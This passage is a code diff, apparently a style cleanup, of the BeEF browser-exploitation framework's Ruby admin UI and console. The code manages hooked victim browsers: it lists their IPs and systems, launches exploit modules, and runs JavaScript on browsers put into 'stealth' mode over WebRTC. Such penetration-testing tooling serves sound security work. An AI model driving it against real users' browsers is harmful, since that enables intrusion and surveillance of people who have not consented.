print_error 'Command is nil'
return
end
# validate nonce
nonce = @params['nonce'] || nil
(print_error "nonce is nil";return) if nonce.nil?
(print_error "nonce incorrect";return) if @session.get_nonce != nonce
if nonce.nil?
print_error 'nonce is nil'
return
end
if @session.get_nonce != nonce
print_error 'nonce incorrect'
return
end
command.instructions_sent = false
command.save
@@ -358,60 +397,93 @@ class Modules < BeEF::Extension::AdminUI::HttpController
end
def attach_dynamic_command_module
definition = {}
# get params
zombie_session = @params['zombie_session'] || nil
(print_error "Zombie id is nil";return) if zombie_session.nil?
if zombie_session.nil?
print_error 'Zombie id is nil'
return
end
command_module_id = @params['command_module_id'] || nil
(print_error "command_module id is nil";return) if command_module_id.nil?
if command_module_id.nil?
print_error 'command_module id is nil'
return
end
# validate nonce
nonce = @params['nonce'] || nil
(print_error "nonce is nil";return) if nonce.nil?
(print_error "nonce incorrect";return) if @session.get_nonce != nonce
if nonce.nil?
print_error 'nonce is nil'
return
end
if @session.get_nonce != nonce
print_error 'nonce incorrect'
return
end
@params.keys.each do |param|
unless BeEF::Filters.has_valid_param_chars?(param)
print_error 'invalid key param string'
return
end
if BeEF::Filters.first_char_is_num?(param)
print_error "first char is num: #{param}"
return
end
@params.keys.each {|param|
(print_error "invalid key param string";return) if not BeEF::Filters.has_valid_param_chars?(param)
(print_error "first char is num";return) if BeEF::Filters.first_char_is_num?(param)
definition[param[4..-1]] = params[param]
oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1])
oc = BeEF::Core::Models::OptionCache.first_or_create(name: param[4..-1])
oc.value = params[param]
oc.save
}
end
zombie = Z.where(session: zombie_session).first
if zombie.nil?
print_error 'Zombie is nil'
return
end
zombie = Z.where(:session => zombie_session).first
(print_error "Zombie is nil";return) if zombie.nil?
zombie_id = zombie.id
(print_error "Zombie id is nil";return) if zombie_id.nil?
if zombie_id.nil?
print_error 'Zombie id is nil'
return
end
command_module = BeEF::Core::Models::CommandModule.find(command_module_id)
if(command_module != nil && command_module.path.match(/^Dynamic/))
return { 'success' => 'false' }.to_json if command_module.nil?
unless command_module.path.match(/^Dynamic/)
print_info "Command module path is not dynamic: #{command_module.path}"
return { 'success' => 'false' }.to_json
end
dyn_mod_name = command_module.path.split('/').last
e = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new
e.update_info(command_module_id)
e.update_data()
e.update_data
ret = e.launch_exploit(definition)
return {'success' => 'false'}.to_json if ret['result'] != 'success'
if ret['result'] != 'success'
print_info 'mount failed'
return { 'success' => 'false' }.to_json
end
basedef = {}
basedef['sploit_url'] = ret['uri']
C.new( :data => basedef.to_json,
:hooked_browser_id => zombie_id,
:command_module_id => command_module_id,
:creationdate => Time.new.to_i
C.new(
data: basedef.to_json,
hooked_browser_id: zombie_id,
command_module_id: command_module_id,
creationdate: Time.new.to_i
).save
@body = '{success : true}'
else
# return {'success' => 'false'}.to_json
{'success' => 'false'}.to_json
end
@body = { 'success' => true }.to_json
end
# Returns the results of a command
@@ -419,42 +491,64 @@ class Modules < BeEF::Extension::AdminUI::HttpController
results = []
# get params
command_id = @params['command_id']|| nil
(print_error "Command id is nil";return) if command_id.nil?
command_id = @params['command_id'] || nil
if command_id.nil?
print_error 'Command id is nil'
return
end
command = BeEF::Core::Models::Command.find(command_id.to_i) || nil
(print_error "Command is nil";return) if command.nil?
if command.nil?
print_error 'Command is nil'
return
end
# get command_module
command_module = BeEF::Core::Models::CommandModule.find(command.command_module_id)
(print_error "command_module is nil";return) if command_module.nil?
if command_module.nil?
print_error 'command_module is nil'
return
end
resultsdb = BeEF::Core::Models::Result.where(:command_id => command_id)
(print_error "Command id result is nil";return) if resultsdb.nil?
resultsdb = BeEF::Core::Models::Result.where(command_id: command_id)
if resultsdb.nil?
print_error 'Command id result is nil'
return
end
resultsdb.each{ |result| results.push({'date' => result.date, 'data' => JSON.parse(result.data)}) }
resultsdb.each { |result| results.push({ 'date' => result.date, 'data' => JSON.parse(result.data) }) }
@body = {
'success' => 'true',
'command_module_name' => command_module.name,
'command_module_id' => command_module.id,
'results' => results}.to_json
'results' => results
}.to_json
end
# Returns the definition of a command.
# In other words it returns the command that was used to command_module a zombie.
def select_command
# get params
command_id = @params['command_id'] || nil
(print_error "Command id is nil";return) if command_id.nil?
if command_id.nil?
print_error 'Command id is nil'
return
end
command = BeEF::Core::Models::Command.find(command_id.to_i) || nil
(print_error "Command is nil";return) if command.nil?
if command.nil?
print_error 'Command is nil'
return
end
command_module = BeEF::Core::Models::CommandModule.find(command.command_module_id)
(print_error "command_module is nil";return) if command_module.nil?
if command_module.nil?
print_error 'command_module is nil'
return
end
if(command_module.path.split('/').first.match(/^Dynamic/))
if command_module.path.split('/').first.match(/^Dynamic/)
dyn_mod_name = command_module.path.split('/').last
e = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new
else
@@ -469,7 +563,6 @@ class Modules < BeEF::Extension::AdminUI::HttpController
'data' => BeEF::Module.get_options(command_module_name),
'definition' => JSON.parse(e.to_json)
}.to_json
end
private
@@ -481,20 +574,18 @@ class Modules < BeEF::Extension::AdminUI::HttpController
config = BeEF::Core::Configuration.instance
command_modules.each do |command_module|
h = {
'Name'=> config.get("beef.module.#{command_module}.name"),
'Description'=> config.get("beef.module.#{command_module}.description"),
'Category'=> config.get("beef.module.#{command_module}.category"),
'Data'=> BeEF::Module.get_options(command_module)
'Name' => config.get("beef.module.#{command_module}.name"),
'Description' => config.get("beef.module.#{command_module}.description"),
'Category' => config.get("beef.module.#{command_module}.category"),
'Data' => BeEF::Module.get_options(command_module)
}
command_modules_json[i] = h
i += 1
end
if not command_modules_json.empty?
return {'success' => 'true', 'command_modules' => command_modules_json}.to_json
else
return {'success' => 'false'}.to_json
end
return { 'success' => 'false' }.to_json if command_modules_json.empty?
{ 'success' => 'true', 'command_modules' => command_modules_json }.to_json
end
# return the input requred for the module in JSON format
@@ -504,41 +595,39 @@ class Modules < BeEF::Extension::AdminUI::HttpController
mod = BeEF::Core::Models::CommandModule.find(id)
# if the module id is not in the database return false
return {'success' => 'false'}.to_json if(not mod)
return { 'success' => 'false' }.to_json unless mod
# the path will equal Dynamic/<type> and this will get just the type
dynamic_type = mod.path.split("/").last
dynamic_type = mod.path.split('/').last
e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new
e.update_info(mod.id)
e.update_data()
e.update_data
command_modules_json[1] = JSON.parse(e.to_json)
if not command_modules_json.empty?
return {'success' => 'true', 'dynamic' => 'true', 'command_modules' => command_modules_json}.to_json
if command_modules_json.empty?
{ 'success' => 'false' }.to_json
else
return {'success' => 'false'}.to_json
{ 'success' => 'true', 'dynamic' => 'true', 'command_modules' => command_modules_json }.to_json
end
end
def dynamic_payload2json(id, payload_name)
command_modules_json = {}
command_module = BeEF::Core::Models::CommandModule.find(id)
(print_error "Module does not exists";return 'success' => 'false') if command_module.nil?
payload_options = BeEF::Module.get_payload_options(command_module.name,payload_name)
# get payload options in JSON
#e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new
payload_options_json = []
payload_options_json[1] = payload_options
#payload_options_json[1] = e.get_payload_options(payload_name)
return {'success' => 'true', 'command_modules' => payload_options_json}.to_json
if command_module.nil?
print_error 'Module does not exists'
return { 'success' => 'false' }.to_json
end
end
end
end
end
payload_options = BeEF::Module.get_payload_options(command_module.name, payload_name)
# get payload options in JSON
# e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new
payload_options_json = []
payload_options_json[1] = payload_options
# payload_options_json[1] = e.get_payload_options(payload_name)
{ 'success' => 'true', 'command_modules' => payload_options_json }.to_json
end
end
end
end
end
end

View File

@@ -8,7 +8,6 @@ module BeEF
module AdminUI
module Controllers
class Panel < BeEF::Extension::AdminUI::HttpController
def initialize
super({
'paths' => {

View File

@@ -4,15 +4,15 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module AdminUI
module Extension
module AdminUI
extend BeEF::API::Extension
@full_name = 'Administration Web UI'
@short_name = 'admin_ui'
@description = 'Command and control web interface'
end
end
end
end
end
# Constants

View File

@@ -8,18 +8,16 @@
# controllers into the framework.
#
module BeEF
module Extension
module AdminUI
module Handlers
module Extension
module AdminUI
module Handlers
class UI
#
# Constructor
#
def initialize(klass)
# @todo Determine why this class is calling super?
#super
# super
@klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize)
end
@@ -35,17 +33,12 @@ module Handlers
status = controller.status,
header = controller.headers
)
end
private
@request
@response
end
end
end
end
end
end
end
end

View File

@@ -4,11 +4,10 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Autoloader
end
end
module Extension
module Autoloader
end
end
end
require 'extensions/autoloader/model'

View File

@@ -4,15 +4,11 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
class Autoloading < BeEF::Core::Model
module Core
module Models
class Autoloading < BeEF::Core::Model
belongs_to :command
end
end
end
end
end
end
end

View File

@@ -4,9 +4,8 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Console
module Extension
module Console
extend BeEF::API::Extension
#
@@ -19,15 +18,14 @@ module Console
BeEF::API::Registrar.instance.register(BeEF::Extension::Console::PostLoad, BeEF::API::Extensions, 'post_load')
def self.post_load
if BeEF::Core::Configuration.instance.get("beef.extension.console.enable")
print_error "The console extension is currently unsupported."
print_more "See issue #1090 - https://github.com/beefproject/beef/issues/1090"
return unless BeEF::Core::Configuration.instance.get('beef.extension.console.enable')
print_error 'The console extension is currently unsupported.'
print_more 'See issue #1090 - https://github.com/beefproject/beef/issues/1090'
BeEF::Core::Configuration.instance.set('beef.extension.console.enable', false)
BeEF::Core::Configuration.instance.set('beef.extension.console.loaded', false)
end
end
end
end
end
end
end

View File

@@ -4,10 +4,9 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Console
module CommandDispatcher
module Extension
module Console
module CommandDispatcher
include Rex::Ui::Text::DispatcherShell::CommandDispatcher
def initialize(driver)
@@ -17,11 +16,11 @@ module CommandDispatcher
end
attr_accessor :driver
end
end
end
end
end end end
require 'extensions/console/lib/command_dispatcher/core'
require 'extensions/console/lib/command_dispatcher/target'
require 'extensions/console/lib/command_dispatcher/command'

View File

@@ -4,11 +4,10 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Console
module CommandDispatcher
class Command
module Extension
module Console
module CommandDispatcher
class Command
include BeEF::Extension::Console::CommandDispatcher
@@params = []
@@ -16,122 +15,125 @@ class Command
def initialize(driver)
super
begin
driver.interface.cmd['Data'].each{|data|
driver.interface.cmd['Data'].each do |data|
@@params << data['name']
}
rescue
return
end
rescue StandardError
nil
end
end
def commands
{
"execute" => "Go! Execute the command module",
"param" => "Set parameters for this module",
"response" => "Get previous responses to this command module",
"cmdinfo" => "See information about this particular command module"
'execute' => 'Go! Execute the command module',
'param' => 'Set parameters for this module',
'response' => 'Get previous responses to this command module',
'cmdinfo' => 'See information about this particular command module'
}
end
def name
"Command"
'Command'
end
@@bare_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help." ])
'-h' => [false, 'Help.']
)
def cmd_cmdinfo(*args)
@@bare_opts.parse(args) {|opt, idx, val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_cmdinfo_help
return false
end
}
end
print_line("Module name: " + driver.interface.cmd['Name'])
print_line("Module category: " + driver.interface.cmd['Category'].to_s)
print_line("Module description: " + driver.interface.cmd['Description'])
print_line("Module parameters:") if not driver.interface.cmd['Data'].length == 0
print_line('Module name: ' + driver.interface.cmd['Name'])
print_line('Module category: ' + driver.interface.cmd['Category'].to_s)
print_line('Module description: ' + driver.interface.cmd['Description'])
print_line('Module parameters:') unless driver.interface.cmd['Data'].length == 0
driver.interface.cmd['Data'].each{|data|
if data['type'].eql?("combobox")
print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label'] + " (Options include: " + data['store_data'].to_s + ")")
unless driver.interface.cmd['Data'].nil?
driver.interface.cmd['Data'].each do |data|
if data['type'].eql?('combobox')
print_line(data['name'] + ' => "' + data['value'].to_s + '" # ' + data['ui_label'] + ' (Options include: ' + data['store_data'].to_s + ')')
else
print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label'])
print_line(data['name'] + ' => "' + data['value'].to_s + '" # ' + data['ui_label'])
end
end
end
} if not driver.interface.cmd['Data'].nil?
end
def cmd_cmdinfo_help(*args)
print_status("Displays information about the current command module")
def cmd_cmdinfo_help(*_args)
print_status('Displays information about the current command module')
end
def cmd_param(*args)
@@bare_opts.parse(args) {|opt, idx, val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_param_help
return false
end
}
end
if (args[0] == nil || args[1] == nil)
if args[0].nil? || args[1].nil?
cmd_param_help
return
nil
else
p = ""
(1..args.length-1).each do |x|
p << args[x] << " "
p = ''
(1..args.length - 1).each do |x|
p << args[x] << ' '
end
p.chop!
driver.interface.setparam(args[0],p)
driver.interface.setparam(args[0], p)
end
end
def cmd_param_help(*args)
print_status("Sets parameters for the current modules. Run \"cmdinfo\" to see the parameter values")
print_status(" Usage: param <paramname> <paramvalue>")
def cmd_param_help(*_args)
print_status('Sets parameters for the current modules. Run "cmdinfo" to see the parameter values')
print_status(' Usage: param <paramname> <paramvalue>')
end
def cmd_param_tabs(str,words)
def cmd_param_tabs(_str, words)
return if words.length > 1
if @@params == ""
#nothing prepopulated?
if @@params == ''
# nothing prepopulated?
else
return @@params
@@params
end
end
def cmd_execute(*args)
@@bare_opts.parse(args) {|opt, idx, val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_execute_help
return false
end
}
end
if driver.interface.executecommand == true
print_status("Command successfully queued")
print_status('Command successfully queued')
else
print_status("Something went wrong")
print_status('Something went wrong')
end
end
def cmd_execute_help(*args)
print_status("Execute this module... go on!")
def cmd_execute_help(*_args)
print_status('Execute this module... go on!')
end
def cmd_response(*args)
@@bare_opts.parse(args) {|opt, idx, val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_response_help
return false
end
}
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
@@ -139,15 +141,16 @@ class Command
'Id',
'Executed Time',
'Response Time'
])
]
)
if args[0] == nil
if args[0].nil?
lastcmdid = nil
driver.interface.getcommandresponses.each do |resp|
indiresp = driver.interface.getindividualresponse(resp['object_id'])
respout = ""
respout = ''
if indiresp.nil? or indiresp[0].nil?
respout = "No response yet"
respout = 'No response yet'
else
respout = Time.at(indiresp[0]['date'].to_i).to_s
lastcmdid = resp['object_id']
@@ -159,11 +162,11 @@ class Command
puts "List of responses for this command module:\n"
puts tbl.to_s + "\n"
if not lastcmdid.nil?
unless lastcmdid.nil?
resp = driver.interface.getindividualresponse(lastcmdid)
puts "\n"
print_line("The last response [" + lastcmdid.to_s + "] was retrieved: " + Time.at(resp[0]['date'].to_i).to_s)
print_line("Response:")
print_line('The last response [' + lastcmdid.to_s + '] was retrieved: ' + Time.at(resp[0]['date'].to_i).to_s)
print_line('Response:')
resp.each do |op|
print_line(op['data']['data'].to_s)
end
@@ -171,13 +174,13 @@ class Command
else
output = driver.interface.getindividualresponse(args[0])
if output.nil?
print_line("Invalid response ID")
print_line('Invalid response ID')
elsif output[0].nil?
print_line("No response yet from the hooked browser or perhaps an invalid response ID")
print_line('No response yet from the hooked browser or perhaps an invalid response ID')
else
print_line("Results retrieved: " + Time.at(output[0]['date'].to_i).to_s)
print_line("")
print_line("Response:")
print_line('Results retrieved: ' + Time.at(output[0]['date'].to_i).to_s)
print_line('')
print_line('Response:')
output.each do |op|
print_line(op['data']['data'].to_s)
end
@@ -185,12 +188,13 @@ class Command
end
end
def cmd_response_help(*args)
print_status("List and review particular responses to this command")
print_status(" Usage: response (id)")
def cmd_response_help(*_args)
print_status('List and review particular responses to this command')
print_status(' Usage: response (id)')
print_status(" If you omit id you'll see a list of all responses for the currently active command module")
end
end
end
end
end
end
end end end end

View File

@@ -4,11 +4,10 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Console
module CommandDispatcher
class Core
module Extension
module Console
module CommandDispatcher
class Core
include BeEF::Extension::Console::CommandDispatcher
def initialize(driver)
@@ -17,43 +16,43 @@ class Core
def commands
{
"?" => "Help menu",
"back" => "Move back from the current context",
"exit" => "Exit the console",
"help" => "Help menu",
"irb" => "Drops into an interactive Ruby environment",
"jobs" => "Print jobs",
"online" => "List online hooked browsers",
"offline" => "List previously hooked browsers",
"quit" => "Exit the console",
"review" => "Target a particular previously hooked (offline) hooked browser",
"show" => "Displays 'zombies' or 'browsers' or 'commands'. (For those who prefer the MSF way)",
"target" => "Target a particular online hooked browser",
"rtcgo" => "Initiate the WebRTC connectivity between two browsers",
"rtcmsg" => "Send a message from a browser to its peers",
"rtcstatus" => "Check a browsers WebRTC status"
'?' => 'Help menu',
'back' => 'Move back from the current context',
'exit' => 'Exit the console',
'help' => 'Help menu',
'irb' => 'Drops into an interactive Ruby environment',
'jobs' => 'Print jobs',
'online' => 'List online hooked browsers',
'offline' => 'List previously hooked browsers',
'quit' => 'Exit the console',
'review' => 'Target a particular previously hooked (offline) hooked browser',
'show' => "Displays 'zombies' or 'browsers' or 'commands'. (For those who prefer the MSF way)",
'target' => 'Target a particular online hooked browser',
'rtcgo' => 'Initiate the WebRTC connectivity between two browsers',
'rtcmsg' => 'Send a message from a browser to its peers',
'rtcstatus' => 'Check a browsers WebRTC status'
}
end
def name
"Core"
'Core'
end
def cmd_back(*args)
if (driver.current_dispatcher.name == 'Command')
def cmd_back(*_args)
if driver.current_dispatcher.name == 'Command'
driver.remove_dispatcher('Command')
driver.interface.clearcommand #TODO: TIDY THIS UP
driver.interface.clearcommand # TODO: TIDY THIS UP
if driver.interface.targetid.length > 1
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ")
driver.update_prompt('(%bld%redMultiple%clr) [' + driver.interface.targetid.join(',') + '] ')
else
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ")
driver.update_prompt('(%bld%red' + driver.interface.targetip + '%clr) [' + driver.interface.targetid.first.to_s + '] ')
end
elsif (driver.current_dispatcher.name == 'Target')
elsif driver.current_dispatcher.name == 'Target'
driver.remove_dispatcher('Target')
driver.interface.cleartarget
driver.update_prompt('')
elsif (driver.dispatcher_stack.size > 1 and
driver.current_dispatcher.name != 'Core')
elsif driver.dispatcher_stack.size > 1 and
driver.current_dispatcher.name != 'Core'
driver.destack_dispatcher
@@ -61,55 +60,54 @@ class Core
end
end
def cmd_back_help(*args)
print_status("Move back one step")
def cmd_back_help(*_args)
print_status('Move back one step')
end
def cmd_exit(* args)
def cmd_exit(*_args)
driver.stop
end
alias cmd_quit cmd_exit
@@jobs_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help." ],
"-l" => [ false, "List jobs." ],
"-k" => [ true, "Terminate the job." ])
'-h' => [false, 'Help.'],
'-l' => [false, 'List jobs.'],
'-k' => [true, 'Terminate the job.']
)
def cmd_jobs(*args)
if (args[0] == nil)
if args[0].nil?
cmd_jobs_list
print_line "Try: jobs -h"
print_line 'Try: jobs -h'
return
end
@@jobs_opts.parse(args) {|opt, idx, val|
@@jobs_opts.parse(args) do |opt, _idx, val|
case opt
when "-k"
if (not driver.jobs.has_key?(val))
print_error("no such job")
else
#This is a special job, that has to be terminated different prior to cleanup
if driver.jobs[val].name == "http_hook_server"
when '-k'
if !driver.jobs.has_key?(val)
print_error('no such job')
elsif driver.jobs[val].name == 'http_hook_server'
# This is a special job, that has to be terminated different prior to cleanup
print_line("Nah uh uh - can't stop this job ya BeEF head!")
else
print_line("Stopping job: #{val}...")
driver.jobs.stop_job(val)
end
end
when "-l"
when '-l'
cmd_jobs_list
when "-h"
when '-h'
cmd_jobs_help
return false
end
}
end
end
def cmd_jobs_help(*args)
print_line "Usage: jobs [options]"
def cmd_jobs_help(*_args)
print_line 'Usage: jobs [options]'
print_line
print @@jobs_opts.usage()
print @@jobs_opts.usage
end
def cmd_jobs_list
@@ -118,26 +116,27 @@ class Core
[
'Id',
'Job Name'
])
driver.jobs.keys.each{|k|
]
)
driver.jobs.keys.each do |k|
tbl << [driver.jobs[k].jid.to_s, driver.jobs[k].name]
}
end
puts "\n"
puts tbl.to_s + "\n"
end
@@bare_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help." ])
'-h' => [false, 'Help.']
)
def cmd_online(*args)
@@bare_opts.parse(args) {|opt, idx, val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_online_help
return false
end
}
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
@@ -148,30 +147,35 @@ class Core
'Browser',
'OS',
'Hardware'
])
]
)
BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 30)).each do |zombie|
tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session,"HostName").to_s,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName').to_s+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion').to_s,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'Hardware')]
tbl << [
zombie.id,
zombie.ip,
BeEF::Core::Models::BrowserDetails.get(zombie.session, 'HostName').to_s,
BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName').to_s + '-' + BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion').to_s,
BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName'),
BeEF::Core::Models::BrowserDetails.get(zombie.session, 'Hardware')
]
end
puts "\n"
puts "Currently hooked browsers within BeEF"
puts "\n"
puts tbl.to_s + "\n"
puts "\nCurrently hooked browsers within BeEF\n#{tbl}\n"
end
def cmd_online_help(*args)
print_status("Show currently hooked browsers within BeEF")
def cmd_online_help(*_args)
print_status('Show currently hooked browsers within BeEF')
end
def cmd_offline(*args)
@@bare_opts.parse(args) {|opt, idx, val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_offline_help
return false
end
}
end
tbl = Rex::Ui::Text::Table.new(
'Columns' =>
@@ -182,32 +186,40 @@ class Core
'Browser',
'OS',
'Hardware'
])
]
)
BeEF::Core::Models::HookedBrowser.where('lastseen < ?', (Time.new.to_i - 30)).each do |zombie|
tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session,"HostName").to_s,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName').to_s+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion').to_s,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'Hardware')]
tbl << [
zombie.id,
zombie.ip,
BeEF::Core::Models::BrowserDetails.get(zombie.session, 'HostName').to_s,
BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName').to_s + '-' + BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion').to_s,
BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName'),
BeEF::Core::Models::BrowserDetails.get(zombie.session, 'Hardware')
]
end
puts "\n"
puts "Previously hooked browsers within BeEF"
puts 'Previously hooked browsers within BeEF'
puts "\n"
puts tbl.to_s + "\n"
end
def cmd_offline_help(*args)
print_status("Show previously hooked browsers")
def cmd_offline_help(*_args)
print_status('Show previously hooked browsers')
end
def cmd_target(*args)
@@bare_opts.parse(args) {|opt, idx, val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_target_help
return false
end
}
end
if args[0] == nil
if args[0].nil?
cmd_target_help
return
end
@@ -218,183 +230,180 @@ class Core
end
targets = args[0].split(',')
targets.each {|t|
if not onlinezombies.include?(t.to_i)
print_status("Browser [id:"+t.to_s+"] does not appear to be online.")
targets.each do |t|
unless onlinezombies.include?(t.to_i)
print_status('Browser [id:' + t.to_s + '] does not appear to be online.')
return false
end
#print_status("Adding browser [id:"+t.to_s+"] to target list.")
}
# print_status("Adding browser [id:"+t.to_s+"] to target list.")
end
if not driver.interface.settarget(targets).nil?
unless driver.interface.settarget(targets).nil?
if (driver.dispatcher_stack.size > 1 and
driver.current_dispatcher.name != 'Core')
if driver.dispatcher_stack.size > 1 and
driver.current_dispatcher.name != 'Core'
driver.destack_dispatcher
driver.update_prompt('')
end
driver.enstack_dispatcher(Target)
if driver.interface.targetid.length > 1
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ")
driver.update_prompt('(%bld%redMultiple%clr) [' + driver.interface.targetid.join(',') + '] ')
else
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ")
driver.update_prompt('(%bld%red' + driver.interface.targetip + '%clr) [' + driver.interface.targetid.first.to_s + '] ')
end
end
end
def cmd_target_help(*args)
print_status("Target a particular online, hooked browser")
print_status(" Usage: target <id>")
def cmd_target_help(*_args)
print_status('Target a particular online, hooked browser')
print_status(' Usage: target <id>')
end
def cmd_rtcgo(*args)
if BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") != true
print_status("WebRTC Extension is not enabled..")
if BeEF::Core::Configuration.instance.get('beef.extension.webrtc.enable') != true
print_status('WebRTC Extension is not enabled..')
return false
end
@@bare_opts.parse(args) {|opt,idx,val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_rtcgo_help
return false
end
}
end
if args[0] == nil or args[1] == nil
if args[0].nil? or args[1].nil?
cmd_rtcgo_help
return
end
onlinezombies = []
BeEF::Core::Models::HookedBrowser.where('lastseen > ?' (Time.new.to_i - 30)).each do |z|
BeEF::Core::Models::HookedBrowser.where('lastseen > ?', (Time.new.to_i - 30)).each do |z|
onlinezombies << z.id
end
if not onlinezombies.include?(args[0].to_i)
print_status("Browser [id:"+args[0].to_s+"] does not appear to be online.")
unless onlinezombies.include?(args[0].to_i)
print_status('Browser [id:' + args[0].to_s + '] does not appear to be online.')
return false
end
if not onlinezombies.include?(args[1].to_i)
print_status("Browser [id:"+args[1].to_s+"] does not appear to be online.")
unless onlinezombies.include?(args[1].to_i)
print_status('Browser [id:' + args[1].to_s + '] does not appear to be online.')
return false
end
if args[2] == nil
BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i,args[1].to_i)
if args[2].nil?
BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i, args[1].to_i)
elsif args[2] =~ (/^(true|t|yes|y|1)$/i)
BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i, args[1].to_i, true)
else
if args[2] =~ (/^(true|t|yes|y|1)$/i)
BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i,args[1].to_i,true)
else
BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i,args[1].to_i)
BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i, args[1].to_i)
end
end
end
def cmd_rtcgo_help(*args)
print_status("To kick off the WebRTC Peer to Peer between two browsers")
print_status(" Usage: rtcgo <caller id> <receiver id> <verbosity - defaults to false>")
def cmd_rtcgo_help(*_args)
print_status('To kick off the WebRTC Peer to Peer between two browsers')
print_status(' Usage: rtcgo <caller id> <receiver id> <verbosity - defaults to false>')
end
def cmd_rtcmsg(*args)
if BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") != true
print_status("WebRTC Extension is not enabled..")
if BeEF::Core::Configuration.instance.get('beef.extension.webrtc.enable') != true
print_status('WebRTC Extension is not enabled..')
return false
end
@@bare_opts.parse(args) {|opt,idx,val|
@@bare_opts.parse(args) do |opt, _idx, _val|
case opt
when "-h"
when '-h'
cmd_rtcmsg_help
return false
end
}
end
if (args[0] == nil || args[1] == nil || args[2] == nil)
if args[0].nil? || args[1].nil? || args[2].nil?
cmd_rtcmsg_help
return
nil
else
p = ""
(2..args.length-1).each do |x|
p << args[x] << " "
p = ''
(2..args.length - 1).each do |x|
p << args[x] << ' '
end
p.chop!
BeEF::Core::Models::Rtcmanage.sendmsg(args[0].to_i,args[1].to_i,p)
BeEF::Core::Models::Rtcmanage.sendmsg(args[0].to_i, args[1].to_i, p)
end
end
def cmd_rtcmsg_help(*args)
print_status("Sends a message from this browser to its peers")
print_status(" Usage: rtcmsg <from> <to> <msg>")
print_status("There are a few <msg> formats that are available within the beefwebrtc client-side object:")
print_status(" !gostealth - will put the <to> browser into a stealth mode")
print_status(" !endstealth - will put the <to> browser into normal mode, and it will start talking to BeEF again")
print_status(" %<javascript> - will execute JavaScript on <to> sending the results back to <from> - who will relay back to BeEF")
def cmd_rtcmsg_help(*_args)
print_status('Sends a message from this browser to its peers')
print_status(' Usage: rtcmsg <from> <to> <msg>')
print_status('There are a few <msg> formats that are available within the beefwebrtc client-side object:')
print_status(' !gostealth - will put the <to> browser into a stealth mode')
print_status(' !endstealth - will put the <to> browser into normal mode, and it will start talking to BeEF again')
print_status(' %<javascript> - will execute JavaScript on <to> sending the results back to <from> - who will relay back to BeEF')
print_status(" <text> - will simply send a datachannel message from <from> to <to>. If the <to> is stealthed, it'll bounce the message back. If the <to> is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler")
end
def cmd_rtcstatus(*args)
if BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") != true
print_status("WebRTC Extension is not enabled..")
if BeEF::Core::Configuration.instance.get('beef.extension.webrtc.enable') != true
print_status('WebRTC Extension is not enabled..')
return false
end
